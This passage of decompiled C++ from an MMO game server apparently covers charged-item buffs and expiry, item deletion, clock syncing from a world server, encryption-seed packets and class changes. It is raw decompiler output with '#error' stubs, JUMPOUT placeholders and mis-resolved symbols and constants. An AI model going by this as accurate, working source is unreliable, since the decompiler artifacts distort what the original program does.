*)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); if ( chargeditem->ci_Effect.cec_AttackForceRate1024 < (signed int)v16 ) chargeditem->ci_Effect.cec_AttackForceRate1024 = v16; break; case 0xB: v17 = chargeditem; v18 = ((signed int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); goto LABEL_33; case 0xC: v17 = chargeditem; v18 = ((signed int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); if ( chargeditem->ci_Effect.cec_AttackForceRate1024 < (signed int)v18 ) chargeditem->ci_Effect.cec_AttackForceRate1024 = v18; LABEL_33: if ( v17->ci_Effect.cec_DefendForceRate1024 < (signed int)v18 ) v17->ci_Effect.cec_DefendForceRate1024 = v18; break; case 0x10: v19 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemDropRate < v19 ) chargeditem->ci_Effect.cec_ItemDropRate = v19; break; case 0x11: chargeditem->ci_Effect.cec_MoverNotHungry = LOBYTE(v4->EffectValue); break; case 0x12: chargeditem->ci_Effect.cec_ExpBonus = v4->EffectValue; break; case 0x13: chargeditem->ci_Effect.cec_MoreStat = LOBYTE(v4->EffectValue); break; case 0x14: v20 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemPowerAttack < v20 ) chargeditem->ci_Effect.cec_ItemPowerAttack = v20; break; case 0x15: v21 = chargeditem; goto LABEL_46; case 0x16: v21 = chargeditem; v22 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemPowerAttack < v22 ) chargeditem->ci_Effect.cec_ItemPowerAttack = v22; v4 = v3->ciee_Index; LABEL_46: v23 = v4->EffectValue; if ( v21->ci_Effect.cec_ItemPowerDefence < v23 ) v21->ci_Effect.cec_ItemPowerDefence = v23; break; case 0x17: v24 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ProductCastTimeRate < v24 ) chargeditem->ci_Effect.cec_ProductCastTimeRate = v24; break; case 0x18: v25 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ProductMasteryRate < v25 ) chargeditem->ci_Effect.cec_ProductMasteryRate = v25; break; case 0x19: v26 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ProductCastTimeRate < v26 ) chargeditem->ci_Effect.cec_ProductCastTimeRate = v26; v27 = v3->ciee_Index->EffectValue; if ( chargeditem->ci_Effect.cec_ProductMasteryRate < v27 ) chargeditem->ci_Effect.cec_ProductMasteryRate = v27; break; case 0x1D: chargeditem->ci_Effect.cec_ProductLearnMaxCount = 2; break; case 0x20: if ( chargeditem->ci_Effect.cec_AuctionAnywhere < v4->EffectValue ) chargeditem->ci_Effect.cec_AuctionAnywhere = LOBYTE(v4->EffectValue); break; case 0x21: v28 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_AuctionTaxRate > v28 ) chargeditem->ci_Effect.cec_AuctionTaxRate = v28; break; case 0x22: v29 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_AuctionEnroll < v29 ) chargeditem->ci_Effect.cec_AuctionEnroll = v29; break; case 0x23: v30 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_AuctionStoragePeriod < v30 ) chargeditem->ci_Effect.cec_AuctionStoragePeriod = v30; break; case 0x26: if ( chargeditem->ci_Effect.cec_StorageAnywhere < v4->EffectValue ) chargeditem->ci_Effect.cec_StorageAnywhere = LOBYTE(v4->EffectValue); break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"); } //----- (00444BD0) -------------------------------------------------------- #error "444BD0: undefined or illegal type '#734' (funcsize=120)" //----- (00444D90) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #734 *ply) { ChargedItemEffectList::ChargedItemEffectElement *v4; // esi@1 unsigned int v5; // edx@1 unsigned int v6; // edx@4 unsigned int v7; // eax@4 unsigned int v8; // edx@8 unsigned int v9; // eax@8 unsigned int v10; // edx@11 unsigned int v11; // eax@11 ChargedItemEffectList::ChargedItem *v12; // [sp-Ch] [bp-20h]@7 unsigned __int16 v13; // [sp-8h] [bp-1Ch]@7 #734 *v14; // [sp-4h] [bp-18h]@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->ciee_Year; if ( v5 > (unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_2; if ( v5 < (unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_13; v6 = v4->ciee_Month; v7 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F; if ( v6 > v7 ) { ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); goto LABEL_17; } if ( v6 < v7 ) { v14 = ply; v13 = handle; v12 = chargeditem; LABEL_16: ChargedItemEffectList::ChargedItemEffectElement::ciee_Free(v4, v12, v13, v14); goto LABEL_17; } v8 = v4->ciee_Date; v9 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F; if ( v8 > v9 ) { LABEL_9: ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); goto LABEL_17; } if ( v8 < v9 ) goto LABEL_15; v10 = v4->ciee_Hour; v11 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F; if ( v10 <= v11 ) { if ( v10 < v11 ) { LABEL_13: v14 = ply; v13 = handle; v12 = chargeditem; goto LABEL_16; } if ( v4->ciee_Minute >= (unsigned int)chargeditemcheck._bf0 >> 25 ) goto LABEL_9; LABEL_15: v14 = ply; v13 = handle; v12 = chargeditem; goto LABEL_16; } LABEL_2: ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"); } //----- (00444F00) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedEffectList::_ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this) { ChargedItemEffectList::ChargedEffectList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAttackSequence::SkillChangeList::_vftable_; _eh_vector_destructor_iterator_( this->cel_Effect, 0xCu, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)MobAttackSequence::SkillChangeList::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 63CF8C: using guessed type int (__stdcall *MobAttackSequence__SkillChangeList___vftable_[3])(__int16 hnd); //----- (00444F70) -------------------------------------------------------- #error "444F70: undefined or illegal type '#734' (funcsize=25)" //----- (00445040) -------------------------------------------------------- #error "445040: undefined or illegal type '#734' (funcsize=37)" //----- (004450F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemDelete(void *this, int cell, __int16 inventype, __int16 slot, int deltime) { void *v5; // esi@1 int v6; // edx@1 int v7; // eax@1 unsigned int v8; // ecx@1 char *v9; // ecx@1 ITEM_INVEN inv; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ItemDelete"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ItemDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)v5; v12 = 0; v7 = (*(int (__thiscall **)(void *))(v6 + 1384))(v5); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); *((_DWORD *)v9 + 3) = *(_DWORD *)(v7 + 12); v9[16] = 0; LOWORD(v7) = *((_WORD *)v5 + 2); inv.Inven = (inventype << 10) | slot & 0x3FF; ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, v7, cell, (int)&inv); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemDelete"); } //----- (00445200) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // esi@1 time_t cur; // [sp+Ch] [bp-24h]@1 FunctionEntarance _; // [sp+10h] [bp-20h]@1 SYSTEMTIME systime; // [sp+14h] [bp-1Ch]@1 int v7; // [sp+2Ch] [bp-4h]@1 _.fe_FunctionCode = "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; memcpy((void *)&timefromworld, &netcmd[1], sizeof(timefromworld)); v3 = mktime(&timefromworld); time(&cur); systime.wMinute = LOWORD(timefromworld.tm_min); systime.wSecond = timefromworld.tm_sec; systime.wHour = LOWORD(timefromworld.tm_hour); systime.wMonth = LOWORD(timefromworld.tm_mon) + 1; systime.wDay = LOWORD(timefromworld.tm_mday); diffence2world = v3 - cur; systime.wYear = LOWORD(timefromworld.tm_year) + 1900; systime.wDayOfWeek = LOWORD(timefromworld.tm_wday); systime.wMilliseconds = 0; SetLocalTime(&systime); if ( !clockwatch.cw_IsReset ) { clockwatch.cw_CurrTick = 0; clockwatch.cw_TotalMilliSec = 0i64; clockwatch.cw_LastMilliSec = timeGetTime(); clockwatch.cw_IsReset = 1; clockwatch.cw_LastMilliSecByDelta = timeGetTime(); } BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(&BossFieldContent::g_ServentBuffBossTable); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"); } // 8C8E20: using guessed type __int32 diffence2world; //----- (00445370) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->ciee_Index; *(_DWORD *)(v3 + 4) = *(_DWORD *)&ele->ciee_Year; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->ciee_Minute; return 1; } // 445385: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004453B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemTest(void *this, time_t num) { void *v2; // edi@1 ChargedItemEffect *v3; // esi@1 int v4; // eax@2 ChargedItemEffectList::ChargedItemEffectElement *v5; // edi@3 tm *v6; // eax@4 time_t curtime; // [sp+8h] [bp-14h]@4 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v9; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v3 = ChargedItemEffectDataBox::cideb_FindFromHandle(&chargedbuffdatabox, num); if ( v3 ) { v4 = *((_WORD *)v2 + 71038); if ( (_WORD)v4 != -1 ) { v5 = (ChargedItemEffectList::ChargedItemEffectElement *)(*(int (__stdcall **)(int))(*((_DWORD *)v2 + 35516) + 4))(v4); if ( v5 ) { time(&num); num += diffence2world; curtime = num; v6 = localtime(&curtime); ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime( v5, v3, v6->tm_year - 100, v6->tm_mon + 1, v6->tm_mday, v6->tm_hour, v6->tm_min + 5); } } } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"); } // 8C8E20: using guessed type __int32 diffence2world; //----- (004454D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck(void *this, int itembag, int inventype) { void *v3; // ebp@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@1 int v7; // ebx@2 int v8; // esi@2 int v9; // eax@4 unsigned int v10; // esi@5 unsigned int v11; // edx@5 int v12; // ecx@8 unsigned int v13; // edx@8 int v14; // ecx@10 unsigned int v15; // edx@10 int v16; // ecx@12 unsigned int v17; // edx@12 int *uii; // [sp+Ch] [bp-28h]@1 int v19; // [sp+10h] [bp-24h]@1 int v20; // [sp+14h] [bp-20h]@1 int ibii; // [sp+18h] [bp-1Ch]@1 int v22; // [sp+1Ch] [bp-18h]@1 int v23; // [sp+24h] [bp-10h]@1 int v24; // [sp+30h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)&ItemBoxIterator::_vftable_; v22 = itembag; v4 = *(_DWORD *)itembag; v24 = 0; v23 = (*(int (**)(void))(v4 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v5 = *(_DWORD *)v3; LOBYTE(v24) = 1; v6 = (*(int (__thiscall **)(void *))(v5 + 2004))(v3); uii = &ibii; v19 = v6; v20 = inventype; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { do { v7 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v8 = *(_DWORD *)(v7 + 112); if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 36))(*(_DWORD *)(v7 + 112)) != 23 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1152))(v3) != 6 ) { v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 48))(v8, v7 + 8); if ( v9 ) { v10 = *(_DWORD *)v9; v11 = (unsigned __int8)*(_DWORD *)v9; if ( (unsigned __int8)*(_DWORD *)v9 ) { if ( v11 <= (unsigned __int8)chargeditemcheck._bf0 ) { if ( v11 < (unsigned __int8)chargeditemcheck._bf0 || (v12 = (v10 >> 8) & 0x1F, v13 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F, v12 <= v13) && (v12 < v13 || (v14 = (v10 >> 13) & 0x3F, v15 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F, v14 <= v15) && (v14 < v15 || (v16 = (v10 >> 19) & 0x3F, v17 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F, v16 <= v17) && (v16 < v17 || (v10 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000)))) ) ShineObjectClass::ShinePlayer::sp_ItemDelete(v3, v7, inventype, uii[2], v9); } } } } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); } --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"); } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004456A0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004457C0) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedEffectList::ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this) { ChargedItemEffectList::ChargedEffectList *v1; // esi@1 signed int v2; // edx@1 signed int v3; // ebx@1 int v4; // eax@1 int v5; // edi@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ChargedItemEffectList::ChargedItemEffectElement *v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAttackSequence::SkillChangeList::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x32u); v1->baseclass_0.vfptr = (ListVtbl *)MobAttackSequence::SkillChangeList::_vftable_; _eh_vector_constructor_iterator_( v1->cel_Effect, 0xCu, 50, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 3; v4 = (int)&v1->cel_Effect[1]; v5 = -36 - (_DWORD)v1; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = (int)((char *)v1->baseclass_0.l_Array + v5); v7 = *(_DWORD *)(v6 + v4); v8 = v4 + v6; if ( !v7 ) *(_DWORD *)v8 = v4 - 12; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = (int)((char *)v1->baseclass_0.l_Array + v5); v10 = *(_DWORD *)(v9 + v4 + 12); v11 = v9 + v4 + 12; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = (int)((char *)v1->baseclass_0.l_Array + -12 - (_DWORD)v1); v13 = *(_DWORD *)(v12 + v4); v14 = v4 + v12; if ( !v13 ) *(_DWORD *)v14 = v4 + 12; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 24; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = (int)((char *)v1->baseclass_0.l_Array + 12 - (_DWORD)v1); v19 = *(_DWORD *)(v18 + v4); v20 = v4 + v18; if ( !v19 ) *(_DWORD *)v20 = v4 + 36; } v2 += 5; v3 += 5; v4 += 60; } while ( v2 - 2 < 50 ); } // 63CF8C: using guessed type int (__stdcall *MobAttackSequence__SkillChangeList___vftable_[3])(__int16 hnd); //----- (00445910) -------------------------------------------------------- int __thiscall Name8::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); result = *(_DWORD *)(a2 + 28); *(_DWORD *)(this + 28) = result; return result; } //----- (00445950) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name8 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n8_name[0]; *((_QWORD *)result + 1) = *(_QWORD *)&a->n8_name[8]; *((_QWORD *)result + 2) = *(_QWORD *)&a->n8_name[16]; *((_QWORD *)result + 3) = *(_QWORD *)&a->n8_name[24]; result[32] = 0; return result; } //----- (004459B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // ecx@4 int v6; // eax@4 int v7; // eax@4 int v8; // eax@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 816))(v4, 0); if ( !(_S5_41 & 1) ) { _S5_41 |= 1u; cmc_20.cmc_AllowMode = 1; atexit(_E6_21); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_20.cmc_AllowMode ) { v5 = gpp.pp_Buffer; v6 = newseed; *(_WORD *)gpp.pp_Buffer = 2055; v7 = v6 + 1; newseed = v7; if ( v7 >= PacketEncrypt::pe_encryptlen ) { LOWORD(v7) = 0; newseed = 0; } *((_WORD *)v5 + 1) = v7; if ( v4 == (void *)-31916 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ : No PacketEncrypt", 0); (*(void (__thiscall **)(signed int, signed int, _DWORD, _DWORD))(vFFFF8354 + 1520))(-31916, 1670, 0, 0); } else { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ : Packet Too Long", 4); } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ"); } // 6895FC: using guessed type int PacketEncrypt__pe_encryptlen; //----- (00445B40) -------------------------------------------------------- #error "445B40: undefined or illegal type '#593' (funcsize=364)" //----- (00446010) -------------------------------------------------------- #error "446010: undefined or illegal type '#593' (funcsize=49)" //----- (004460E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ClassChange(void *this, unsigned __int8 newclass) { void *v2; // esi@1 unsigned int v3; // eax@1 char *v4; // edi@2 ZoneBaseSession *v5; // eax@4 char *v6; // edi@5 CharClassManager *v7; // eax@8 int v8; // eax@13 DebugLogging *v9; // edi@16 _iobuf *v10; // eax@18 DebugLogging *v11; // edi@20 _iobuf *v12; // eax@22 DebugLogging *v13; // edi@24 _iobuf *v14; // eax@26 DebugLogging *v15; // edi@28 _iobuf *v16; // eax@30 DebugLogging *v17; // edi@32 _iobuf *v18; // eax@34 unsigned __int8 v19; // bl@35 DebugLogging *v20; // eax@37 int v21; // ecx@37 unsigned __int8 v22; // cl@38 char *v23; // edi@44 ZoneBaseSession *v24; // eax@46 int v25; // ST04_4@48 int v26; // eax@48 char *nc; // [sp+10h] [bp-20h]@5 AxialListPacketBroadcast alchat; // [sp+18h] [bp-18h]@48 int v29; // [sp+2Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_63D31C); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_63D31C; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_BYTE *)v2 + 32268); v29 = 0; switch ( (v3 >> 2) & 0x1F ) { case 1u: case 2u: case 6u: case 7u: case 0xBu: case 0xCu: case 0x10u: case 0x11u: case 0x15u: case 0x16u: v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18443; *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v4 + 1) = *((_WORD *)v2 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOW_RESET_REQ : Packet Too Long", 8); } break; default: break; } v6 = gpp.pp_Buffer; nc = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4185; if ( newclass ) { *((_BYTE *)v2 + 32268) ^= (*((_BYTE *)v2 + 32268) ^ 4 * newclass) & 0x7C; if ( newclass >= 0x20u ) v7 = &charclassmanager; else v7 = (CharClassManager *)charclassmanager.ccm_array[newclass]; *((_DWORD *)v2 + 964) = v7; v6[2] = newclass; } else { AssertClass::ac_AssertFail(&shineassert, unk_63D2DC, 0); v6[2] = 0; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, unk_63D298, 3); } if ( newclass ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1400))(v2); ShineObjectClass::ShinePlayer::sp_StatRemainSend(v2); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v9 = DebugLogging::operator<<(&ShineClassChangeLog, unk_63D25C); if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } v11 = DebugLogging::operator<<(v9, unk_63D254); if ( DebugLogging::dl_ActivAll ) { if ( v11->dl_Activ ) { DebugLogging::dl_FilePoint(v11); v12 = v11->dl_FilePointer; if ( v12 ) fprintf(v12, "%d"); } } v13 = DebugLogging::operator<<(v11, unk_63D240); if ( DebugLogging::dl_ActivAll ) { if ( v13->dl_Activ ) { DebugLogging::dl_FilePoint(v13); v14 = v13->dl_FilePointer; if ( v14 ) fprintf(v14, "%d"); } } v15 = DebugLogging::operator<<(v13, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v15->dl_Activ ) { DebugLogging::dl_FilePoint(v15); v16 = v15->dl_FilePointer; if ( v16 ) fprintf(v16, "%d"); } } v17 = DebugLogging::operator<<(v15, unk_63D230); if ( DebugLogging::dl_ActivAll && v17->dl_Activ && (DebugLogging::dl_FilePoint(v17), (v18 = v17->dl_FilePointer) != 0) ) { v19 = newclass; 